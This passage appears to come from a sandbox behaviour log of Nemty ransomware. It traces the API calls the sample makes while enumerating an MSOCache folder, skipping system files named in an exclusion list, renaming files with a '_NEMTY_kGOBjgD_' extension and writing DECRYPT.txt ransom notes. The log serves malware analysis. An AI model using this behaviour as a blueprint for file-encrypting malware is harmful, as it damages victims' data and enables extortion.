lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x93a [0047.924] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.924] CloseHandle (hObject=0x3c8) returned 1 [0047.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0047.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0047.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0047.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0047.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.925] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml._nemty_kgobjgd_")) returned 1 [0047.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.926] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd03a8770, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd03a8770, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd03a8770, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0047.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0047.927] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0047.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0047.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0047.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94240 [0047.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.927] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd03a8770, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd03a8770, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd03a8770, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0047.927] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0047.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0047.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0047.928] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="...") returned 1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="$RECYCLE.BIN") returned 1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="rsa") returned -1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="NTDETECT.COM") returned -1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="ntldr") returned -1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="MSDOS.SYS") returned -1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="IO.SYS") returned -1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="AUTOEXEC.BAT") returned -1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="desktop.ini") returned -1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="CONFIG.SYS") returned -1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="RECYCLER") returned -1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="BOOTSECT.BAK") returned -1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="programdata") returned -1 [0047.928] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="appdata") returned -1 [0047.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91618 [0047.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0044-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0047.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0044-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-0044-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0047.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0047.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0044-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0047.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0044-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-0044-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0047.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0047.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91618 | out: hHeap=0x4f90000) returned 1 [0047.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0047.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0047.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0047.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0047.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f941b8 [0047.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0047.929] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0047.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0047.931] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.931] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0047.932] CloseHandle (hObject=0x3c4) returned 1 [0047.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0047.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0047.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0047.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0047.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0047.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942c8 [0047.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0047.933] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0047.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0047.934] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.934] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0047.935] CloseHandle (hObject=0x3c4) returned 1 [0047.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0047.935] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0440cf0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0440cf0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0047.935] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.935] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0440cf0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0440cf0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0047.935] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.935] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.935] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0047.935] lstrcmpiW (lpString1="InfLR.cab", lpString2=".") returned 1 [0047.935] lstrcmpiW (lpString1="InfLR.cab", lpString2="..") returned 1 [0047.935] lstrcmpiW (lpString1="InfLR.cab", lpString2="...") returned 1 [0047.935] lstrcmpiW (lpString1="InfLR.cab", lpString2="windows") returned -1 [0047.935] lstrcmpiW (lpString1="InfLR.cab", lpString2="$RECYCLE.BIN") returned 1 [0047.935] lstrcmpiW (lpString1="InfLR.cab", lpString2="rsa") returned -1 [0047.935] lstrcmpiW (lpString1="InfLR.cab", lpString2="NTDETECT.COM") returned -1 [0047.935] lstrcmpiW (lpString1="InfLR.cab", lpString2="ntldr") returned -1 [0047.935] lstrcmpiW (lpString1="InfLR.cab", lpString2="MSDOS.SYS") returned -1 [0047.935] lstrcmpiW (lpString1="InfLR.cab", lpString2="IO.SYS") returned -1 [0047.936] lstrcmpiW (lpString1="InfLR.cab", lpString2="boot.ini") returned 1 [0047.936] lstrcmpiW (lpString1="InfLR.cab", lpString2="boot.ini") returned 1 [0047.936] lstrcmpiW (lpString1="InfLR.cab", lpString2="AUTOEXEC.BAT") returned 1 [0047.936] lstrcmpiW (lpString1="InfLR.cab", lpString2="ntuser.dat") returned -1 [0047.936] lstrcmpiW (lpString1="InfLR.cab", lpString2="desktop.ini") returned 1 [0047.936] lstrcmpiW (lpString1="InfLR.cab", lpString2="CONFIG.SYS") returned 1 [0047.936] lstrcmpiW (lpString1="InfLR.cab", lpString2="RECYCLER") returned -1 [0047.936] lstrcmpiW (lpString1="InfLR.cab", lpString2="BOOTSECT.BAK") returned 1 [0047.936] lstrcmpiW (lpString1="InfLR.cab", lpString2="bootmgr") returned 1 [0047.936] lstrcmpiW (lpString1="InfLR.cab", lpString2="programdata") returned -1 [0047.936] lstrcmpiW (lpString1="InfLR.cab", lpString2="appdata") returned 1 [0047.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.936] WideCharToMultiByte (in: CodePage=0xfde9, 